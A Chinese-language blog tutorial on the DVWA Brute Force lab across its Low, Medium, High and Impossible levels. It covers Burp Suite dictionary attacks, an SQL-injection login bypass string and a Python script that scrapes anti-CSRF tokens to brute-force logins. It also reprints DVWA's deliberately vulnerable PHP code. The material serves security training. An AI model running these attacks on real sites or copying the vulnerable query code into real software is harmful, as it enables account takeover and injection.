歡迎光臨
我們一直在努力

DVWA(Damn Vulnerable Web Application)- Brute Force

DVWA(Damn Vulnerable Web Application)

DVWA(Damn Vulnerable Web Application)是一個用來進行弱點安全測試的網站系統,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

DVWA共有十個模組,分別是Brute Force(暴力破解)、Command Injection(命令注入)、CSRF(跨站請求偽造)、File Inclusion(檔案包含)、File Upload(檔案上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站指令碼)、XSS(Stored)(儲存型跨站指令碼)。

需要注意的是,DVWA 的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些PHP代碼審計的內容。

Brute Force (low)

Brute Force(暴力破解),是指駭客利用已生成的密碼字典,透過窮舉方式猜解使用者的密碼,密碼字典可能包含admin、root、123456、password等使用者常用的密碼組合。是目前最廣泛使用的攻擊手法之一。

在這關可以看到是一個常見的使用者登入框,需要我們輸入帳號密碼登入,而在不知帳號密碼的情況下,有幾種攻擊方式值得我們嘗試。

  1. 暴力破解、撞庫
  2. SQL Injection

此次會用到的是暴力破解,搭配的工具是Burp Suite,首先可以先在帳號密碼欄位隨意輸入幾個常用的字串,例如 admin/admin。

接著透過Burp Suite攔截Request,並發送到Intruder,進行字典檔攻擊。
在這裡,我們需要嘗試破解使用者的password。我們先將所有欄位進行clear,然後針對password欄位add$。

當然在這樣情況下是因為我們假設已知使用者帳號為admin,如果未知的話,username也是需要添加add$的。

接著切換到Payloads選項,Load我們生成好的字典檔,字典檔可使用Kali Linux自帶的rockyou.txt,檔案位址於/usr/share/wordlists/下。選取密碼字典檔後,即可點擊右上角的Start attack開始進行password欄位的暴力破解。

等待一段時間後,我們可觀察到在所有的資料中唯獨第四筆Request紀錄的Length是不一樣的,是不是意味著這筆欄位就是正確的密碼呢?

於是我們可將觀察到的第四筆資料password記錄下來,並切換到登入畫面,接著嘗試輸入admin/password,就可以發現登入成功啦!

為何Length會不一樣,代表什麼意思?

當我們進行GET/POST到Server端後,Server會回傳Content-Length
而Content-Length則表示HTTP的傳輸長度,所以登入失敗與登入成功頁面的Content-Length通常會不同,則可透過此來判斷。另外也可觀察Status是否有其他變化。

我們直接看Source code,第5行與第8行透過$GET方式傳送帳號密碼,第9行是將password進行md5 hash,最後第12行直接進行database query,中間沒有經過任何的過濾與防爆破機制,所以除了透過暴力破解外,還可以使用SQL Injection進行注入攻擊。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

因前面未將username與password進行過濾,於是可直接看第12行,username輸入admin ' or '1'='1,password為空,即可直接登入成功。

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

Brute Force (Medium)

直接看Source code,主要增加的點是username與password的mysqli_real_escape_string,該函數主要是將字串中的特殊符號escaped,例如:NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
目的是為了防止SQL Injection等類型的攻擊,但是這樣會有風險,如果在MySQL且PHP編碼設置為GBK的情況下,可能會造成寬字符注入,能夠構造編碼繞過mysql_real_escape_string 對單引號的轉義,礙於篇幅關係,這邊就不多介紹mysql_real_escape_string與寬字符注入的關係。最後還是要盡可能避免使用mysql_real_escape_string與GBK編碼。

對於寬字符注入的介紹可參考這篇https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

最後在第28行增加了sleep(2),目的大概是為了防止快速暴力破解,但因為只有2秒,實在沒什麼防範效果,依然可直接透過Burp Suite進行字典檔攻擊,只是需花費較多時間而已。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

因為添加了mysql_real_escape_string,所以無法透過SQL Injection進行注入,但依然可進行暴力破解。

Brute Force (High)

透過Burp Suite可觀察到GET送出時,增加了user_token

直接看Source code,在High級別中,增加了Anti-CSRF token,目的是為了防止CSRF,同時也是為了防止暴力破解攻擊,在驗證帳號密碼前,會先驗證user_token,使用者每次登入時,都需一併提交user_token,當Server端收到token後,才會去進行SQL的查詢。而user_token是亂數產生的,在訪問頁面時,會自動生成request_token和session_token,所以這邊不便使用Burp Suite直接進行暴力破解。
另外,第9行也增加了stripslashes,目的是為了去除字符串中多餘的反斜線,然後一樣是繼續使用mysql_real_escape_string進行字串的轉義,抵擋SQL Injection。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

那麼針對這題,我們要如何進行暴力破解呢?
在登入的頁面原始碼可觀察到,user_token值,於是思路轉換下,既然每次傳送時,會先驗證token,再進行帳號密碼的確認,那我們只要在每次送出時,從頁面抓取並更新token就可以了,於是可直接透過python再每次送出前自動抓取token來進行暴力破解就行啦!

<div class="vulnerable_code_area">
    <h2>Login</h2>

    <form action="#" method="GET">
        Username:<br />
        <input type="text" name="username"><br />
        Password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password"><br />
        <br />
        <input type="submit" value="Login" name="Login">
        <input type='hidden' name='user_token' value='881f729bcac32393a113c5476e1a190e' />
    </form>
</div>

Python腳本,暴力破解。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib2
import re

#輸入當前IP地址
IP = '127.0.0.1'
#輸入自己當前的sessionid
PHPSESSID = 'so2c7cgngh6ugjkot05lietbjl'

#設定cookie
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'security=high; PHPSESSID=' + PHPSESSID))

#爆破字典
usernames = ['admin','manage','system','root','whoami']
passwords = ['admin','root','123456','password','abc123','111111','654321','000000']

#確認破解範圍
for username in usernames:
    for password in passwords:
        #訪問首頁
        response = opener.open('http://' + IP + '/DVWA/vulnerabilities/brute/')
        content = response.read()
        #獲取user_token
        user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
        #傳送登入資料包
        url = 'http://'+IP+'/DVWA/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = opener.open(url)
        content = response.read()
        #確認破解結果
        print '-'*20
        print u'使用者名稱:'+username
        print u'密碼:'+password
        if 'Username and/or password incorrect.' in content:
            print u'Fail...'
        else:
            print u'Success~'
        print '-'*20

Brute Force (Impossible)

在Impossible級別中,使用了PDO方式來阻擋SQL Injection,所以無法進行注入。
增加了三個參數,限制了爆破的次數與時間

  • total_failed_login
  • lockout_time
  • account_locked

最後將failed_login存儲到資料庫中,導致無法進行暴力破解了。

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
        $html .= "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
讚(7) 打賞
未經允許不得轉載:波波的寂寞世界 » DVWA(Damn Vulnerable Web Application)- Brute Force

波波的寂寞世界

Facebook聯繫我們

覺得文章有用,請作者喝杯咖啡

非常感謝你的打賞,我們將繼續給力更多優質內容,讓我們一起建立更加美好的網路世界!

支付寶掃一掃